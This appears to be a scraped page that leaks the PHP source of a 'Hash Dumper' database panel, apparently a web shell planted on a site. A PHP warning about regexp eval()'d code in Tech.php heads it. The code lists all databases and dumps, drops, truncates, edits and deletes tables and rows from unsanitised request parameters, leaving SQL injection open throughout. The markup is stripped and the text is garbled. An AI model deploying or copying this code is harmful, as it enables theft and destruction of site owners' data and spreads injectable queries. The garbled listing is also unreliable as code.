Warning: ob_start() [ref.outcontrol]: output handler 'ob_gzhandler' cannot be used twice in /home/redpine/public_html/Tech.php(7) : regexp code(1) : eval()'d code on line 720

window.location = './install.php';"; exit; } require_once ("./includes/functions.php"); $get_dbs = mysql_query("SHOW DATABASES"); echo "
[~Home~] $username@$host [~Hash Dumper~]
"; while ($row = mysql_fetch_array($get_dbs)) { $db = $row[0]; $num_tables = mysql_fetch_object(mysql_query("SELECT COUNT(TABLE_NAME) as num_rows FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = '$db'")); $num_tables2 = $num_tables->num_rows; echo ""; } echo "
Database Tables Dump Drop
$db $num_tables2 Dump Drop

"; //Get tables in database selected if (isset($_GET['database'])) { $database = $_GET['database']; $limit = $_GET['limit']; $limit2 = $limit + 50; $limit3 = $limit - 50; $tables_query = mysql_query("SELECT COUNT(TABLE_NAME) as num_rows FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = '$database'"); $tables_query2 = mysql_query("SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = '$database' LIMIT $limit, 50"); $num = mysql_fetch_object($tables_query); $num2 = $num->num_rows; echo "
<~~~~~ Previous Page There are $num2 tables in database: $database Next Page ~~~~~>
"; while ($row = mysql_fetch_array($tables_query2)) { $table_name = $row[0]; $num_rows = mysql_query("SELECT COUNT(*) as num_rows FROM $database.$table_name"); $nr = mysql_fetch_object($num_rows); $num_rows2 = $nr->num_rows; $lim = $_GET['limit']; echo ""; if ($num_rows2 > 50000) { echo ""; } else { echo ""; } echo ""; } echo "
Table Rows Dump Drop Prune Insert New Row
$table_name $num_rows2DumpDumpDrop Prune Insert Row
"; $pages = floor($num2 / 50); $i = 0; while ($i <= $pages) { $lim2 = $i * 50; echo "$i "; $i++; } } //Drop DB and table stuff if (isset($_GET['drop'])) { $type = $_GET['drop']; if ($type == "database") { $database = $_GET['db']; $drop_query = mysql_query("DROP DATABASE $database"); if ($drop_query) { echo ""; } else { error("Failed to drop database or table!"); } } if ($type == "table") { $database = $_GET['db']; $table = $_GET['table']; $lim = $_GET['limit']; $drop_query = mysql_query("DROP TABLE $database.$table"); if ($drop_query) { echo ""; } else { error("Failed to drop database or table!"); } } } //Prune table stuff if (isset($_GET['prune'])) { $table = $_GET['prune']; $db = $_GET['db']; $lim = $_GET['limit']; $prune = mysql_query("TRUNCATE $db.$table"); if ($prune) { echo ""; } else { error("Failed to prune table!"); } } //Insert row stuff if (isset($_POST['insert_row'])) { $table = $_GET['table']; $db = $_GET['db']; $insertdata = array(); $insertdata2 = array(); foreach ($_POST as $test => $value) { if ($value == "Insert") { } else { $insertdata[$test] = $value; array_push($insertdata2, $test); } } $iquery = "INSERT INTO $db.$table ("; $last = end($insertdata2); foreach ($insertdata2 as $data2) { if ($data2 == "$last") { $iquery.= "`$data2`"; } else { $iquery.= "`$data2`, "; } } $iquery.= ") VALUES ("; $last2 = end(array_keys($insertdata)); foreach ($insertdata as $data => $dvalue) { $dvalue2 = addslashes($dvalue); if ($data == "$last2") { $iquery.= "'$dvalue2'"; } else { $iquery.= "'$dvalue2', "; } } $iquery.= ")"; if (mysql_query($iquery)) { $lim = $_GET['limit']; echo ""; } else { error("Failed to insert row into table!"); } } if (isset($_GET['insert'])) { $db = $_GET['db']; $table = $_GET['table']; $getcolumnsquery = mysql_query("SHOW COLUMNS FROM $db.$table"); $insertcolumns = array(); $types = array(); while ($row = mysql_fetch_array($getcolumnsquery)) { $columns = $row['Field']; $type = $row['Type']; array_push($insertcolumns, $columns); $types[$columns] = $type; } echo "
Inserting row into table: $table
"; foreach ($insertcolumns as $icolumns) { echo ""; } echo "
$icolumns" . $types[$icolumns] . "

"; } //Delete row stuff if (isset($_GET['delete'])) { $table = $_GET['table']; $database = $_GET['db']; $column = $_GET['col']; $value = $_GET['value']; $limit = $_GET['limit']; if (mysql_query("DELETE FROM $database.$table WHERE $column='$value'")) { echo ""; } else { error("Failed to delete row!"); } } //Explore table stuff //Do search table if (isset($_POST['do_search'])) { $table = $_GET['table']; $database = $_GET['db']; $limit = $_GET['limit']; $getcolumnsquery = mysql_query("SHOW COLUMNS FROM $database.$table"); $s_column = $_POST['search_column']; $s_value = $_POST['search_value']; $search_q = mysql_query("SELECT * FROM $database.$table WHERE $s_column='$s_value'"); $search_q2 = mysql_query("SELECT COUNT(*) as num_rows FROM $database.$table WHERE $s_column='$s_value'"); $search_rows = mysql_fetch_object($search_q2); $search_rows2 = $search_rows->num_rows; if ($search_rows2 == 0) { error("No search results found!"); } else { echo "
Search Results:
"; $cdata = array(); while ($row = mysql_fetch_array($getcolumnsquery)) { $columns = $row['Field']; array_push($cdata, $columns); echo ""; } echo ""; while ($row = mysql_fetch_array($search_q)) { echo ""; for ($i = 0;$i < count($cdata) + 2;$i++) { if ($i == count($cdata)) { $r = $row[0]; $col2 = $cdata[0]; $output2 = ""; } else if ($i == count($cdata) + 1) { $r = $row[0]; $col2 = $cdata[0]; $output2 = ""; } else { $output2 = ""; } echo "$output2"; } echo ""; } echo "
$columnsEdit RowDelete Row
EditDelete" . htmlspecialchars($row[$i]) . "


"; } } //Get table contents if (isset($_GET['explore'])) { $table = $_GET['table']; $database = $_GET['db']; $limit = $_GET['limit']; $limit2 = 500; $limit3 = $limit + 500; $limit4 = $limit - 500; $getcolumnsquery = mysql_query("SHOW COLUMNS FROM $database.$table"); $lastp = mysql_fetch_object(mysql_query("SELECT COUNT(*) as num_rows FROM $database.$table")); $lastp2 = $lastp->num_rows - 500; echo "
Column: Search Value:

"; echo "
<~~~ First page                        <~~~ Previous page                        Next page ~~~>                        Last page ~~~> "; $data = array(); $getcolumndata = mysql_query("SELECT * FROM $database.$table LIMIT $limit, $limit2"); while ($row = mysql_fetch_array($getcolumnsquery)) { $columns = $row['Field']; array_push($data, $columns); echo ""; } echo ""; while ($row = mysql_fetch_array($getcolumndata)) { echo ""; for ($i = 0;$i < count($data) + 2;$i++) { if ($i == count($data)) { $r = $row[0]; $col = $data[0]; $output = ""; } else if ($i == count($data) + 1) { $r = $row[0]; $col = $data[0]; $output = ""; } else { $output = ""; } echo "$output"; } } echo "
$columnsEdit RowDelete Row
EditDelete" . htmlspecialchars($row[$i]) . "
"; $allrows = mysql_query("SELECT COUNT(*) as num_rows FROM $database.$table"); $numrows = mysql_fetch_object($allrows); $numrows4 = $numrows->num_rows; $numrows2 = floor($numrows4 / 500); $numrows3 = $numrows4 / 500; $i = 0; while ($i <= $numrows2) { $lim2 = $i * 500; echo "$i "; $i++; } } //Edit row stuff if (isset($_POST['do_edit_table'])) { $table = $_GET['table']; $value2 = $_GET['value']; $column = $_GET['col']; $db = $_GET['db']; $lim = $_GET['limit']; $earray = array(); $earray2 = array(); foreach ($_POST as $epdata => $value) { if ($value == "Edit") { echo ""; } else { $valuea = addslashes($value); $combine = "$epdata='$valuea'"; array_push($earray, $combine); array_push($earray2, $epdata); } } $end = end($earray); $equery = "UPDATE $db.$table SET "; foreach ($earray as $edita) { if ($edita == "$end") { $equery.= "$edita"; } else { $equery.= "$edita, "; } } $equery.= " WHERE $column='$value2'"; if (mysql_query($equery)) { echo ""; } else { echo "$equery"; error("Falied to edit row in table!"); } } if (isset($_GET['edit'])) { $db = $_GET['db']; $table = $_GET['table']; $col = $_GET['col']; $value = $_GET['value']; $getcolumnsquery = mysql_query("SHOW COLUMNS FROM $db.$table"); $columns = array(); $column_type = array(); while ($row = mysql_fetch_array($getcolumnsquery)) { $columns2 = $row['Field']; $type = $row['Type']; array_push($columns, $columns2); array_push($column_type, $type); } $editdataq = mysql_query("SELECT * FROM $db.$table WHERE $col='$value'"); echo "
Editing row in table: $table
"; while ($row = mysql_fetch_array($editdataq)) { for ($i = 0;$i < count($columns);$i++) { $row2 = $row[$i]; $row3 = $columns[$i]; $row4 = $column_type[$i]; echo ''; } } echo "
' . $row3 . '
' . $row4 . '

"; } ?>